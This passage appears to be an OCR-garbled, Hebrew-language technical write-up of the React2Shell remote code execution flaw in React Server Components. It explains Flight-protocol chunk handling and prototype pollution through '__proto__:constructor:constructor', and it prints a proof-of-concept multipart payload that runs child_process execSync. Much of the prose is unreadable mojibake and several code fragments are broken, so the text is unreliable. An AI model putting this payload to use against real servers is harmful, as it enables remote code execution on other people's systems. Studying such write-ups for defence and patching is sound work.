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React Server Functions and React Flight Protocol
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React server functions
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{ getUser }

user = (1);

<div>{user._name}</div>;
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files = {
"@": (None, '{"then":"$1:_ proto__:constructor:constructor"}'),
"1": (None, ‘{"x":1}'),
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async function initializeModelChunk(chunk) {
if (chunk.status !== "resolved") {

throw new Error("Chunk not resolved");

const value = chunk.value;

const resolvedValue = await value;

return resolvedValue;
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@: {type: "tex
1: {type: "model”, value: {...}}
2: {type: "ref"”, pointsTo: 0}

[getChunk(response, id)
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Nt 11202 InNwn nxY' N7 ,U'7|7n TIN MY 871,17 000N NNIXY then

:NTN |11202 chunk-7 No¥n React

{
"id": e,
“"type": "model”,
"value": { "name": "Amit" }
}
;1202 chunk 02 qpIn 72X
{
'id": o,
type"”: "model”,
value”: { "then $1._ proto__.then" }
}

NIX¥2 0TI chunk-7 Reference nwiyw chunk q'on string-3 X721 n'7W19) then-7 on"'n' React-w * I

A7V raw-n
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¥

91t then NTY 721 chunk 0
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S 2
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Chunk.prototype.then(fakeChunk0)

<k

N
Chunk.prototype.then = function(resolve, reject) {
switch (this.status) {
case "resolved_model™:

initializeModelChunk(this);
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NNAT D'YAN] MIPY Nn 7w 00ni

chunks["8"] = {
then: "$1._ proto__.then"
b
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chunks["©"].then = Chunk.prototype.then;
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Function(“evil payload™)()
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var rawModel = JS0N.parse(resolvedModel)

value = reviveModel(chunk._response, { rawModel }, "", rawModel, rootReference);
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.M~ chunk nIj7n2a fake chunk 72577 React-7 112

.Chunk.prototype.then n'7'von React-w 73 .then—-7 override n'wy
initializeModelChunk(chunk) :n'¥j7197 N0121 React .status = "resolved_model"-w |11'n

U D'YI9N N2
JSON.parse e
reviveModel e
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197 NNIX NY97 ¥ NNNI raw buffer, IX base64 NI¥2 ,0"IXI'2 DN X' NANPDN MIYD NYY
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.resolved_model-7 status

nX719'Mmn NX 0'7wn% Nan 7V y¥an React-w N'Mno np'Ta INWTX 0971V 11NAX D Reason .3
BhylY]

NT TN XN DT N2'on ,Payload y'an'? 71721nw React-7 |'x7 *T2 0'0'10N0 NNIXW 0j7'9"19 BS-n .4
:N2N 12T7 190 N7 JSON.parse y¥an React-w ' 1D

{ then: "$Be" }
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NNPI79RN 7Y MYWN Y 1NN 7w nN'MO MY n9pnnn 1Y MoK PoC-7 nnalT

crafted_chunk = {

"then": "$1:_ proto__:then",

"status": "resolved_model”,

"reason": -1,

"value”: '{"then": "$B0"}',

"_response”: {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {

"get": "$1:constructor:constructor”,
3

s
}
files = {

"@": (None, json.dumps(crafted_chunk)),

"1": (None, '"$@0"'),
}

nid'o
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.Windows-2 SYSTEM-I linux-2
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n170p 7D 77 NOPNNN NX 19INY NN DT L,NXIND NVIYS HTTP 21710091 nwa 750 10 NN

NT'NXR DIN'OM 7w Nawn ,NI71D' Din1'n Dy il

N97TN ,NIWN 7V XN NT'NRT7 72Ny NN LqpInn 7Y W91 NHIXD NITIRD YNin'? [N 2mnd [P NKY7

"7V D170 7100 yxinn T'Row nn 221 NN 7Y backdoor MIRWN NI NI'YRY79R1 YTNY 2T, ,VT'N

IT,171D X IX DMV IX VOUN RO 21 RIN DX D2 ,NRNAN 7R 0101Y ' 757 NTIN Tan? XN xR 0IroYi

RPN DNINIY AN 'IRENTA 1120 1INYN QNI "IXRY N]IWKRY DVS
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Wikipedia - https://en.wikipedia.org/wiki/React (software)

https://he.wikipedia.org/wiki/Document Object Model

React - https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-

server-components

Msanft github PoC - https://github.com/msanft/CVE-2025-

551827 gl=1*g127hx* gcl au*MTMOMTkwODISNS4xNzY4ANzY4MTky*FPAU*MTMOMTkwODISNS4xN

zY4NzY4AMTky* ga*MTIzMDU30ODA2My4xNzY4ANzY4AMTkz* ga SQINRIVTFI*czE3Njg3NjgxOTIkbzEkZ

zAkdDE3Njg3NjgxOTYkaju2)Gwwl)GgyNjE2NzAAMDM.* fplc*WFlkeDVCZWIrSkSgMDVLS3M4cHVUYW

9TAMVzUG1sUUE5R2VFM1V4UmgyWkVrOVpiS3hvQUtMa2l6eGs4dXp1MnFQWIZUdnp60OUIWTXNkbj
BDdEgzT3YIMkZ5MTVHSOpiTGI3d2p5bEdhSXNaMTFmQkIINWZBckZXNVQ3MzNRVUEIM0OQIMOQ.

JFrog - https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/

WIZ - https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182

TheHackerNews - https://thehackernews.com/2025/12/critical-react2shell-flaw-added-to-cisa.html

SC media - https://www.scworld.com/brief/over-30-organizations-impacted-by-sweeping-react2shell-

exploitation
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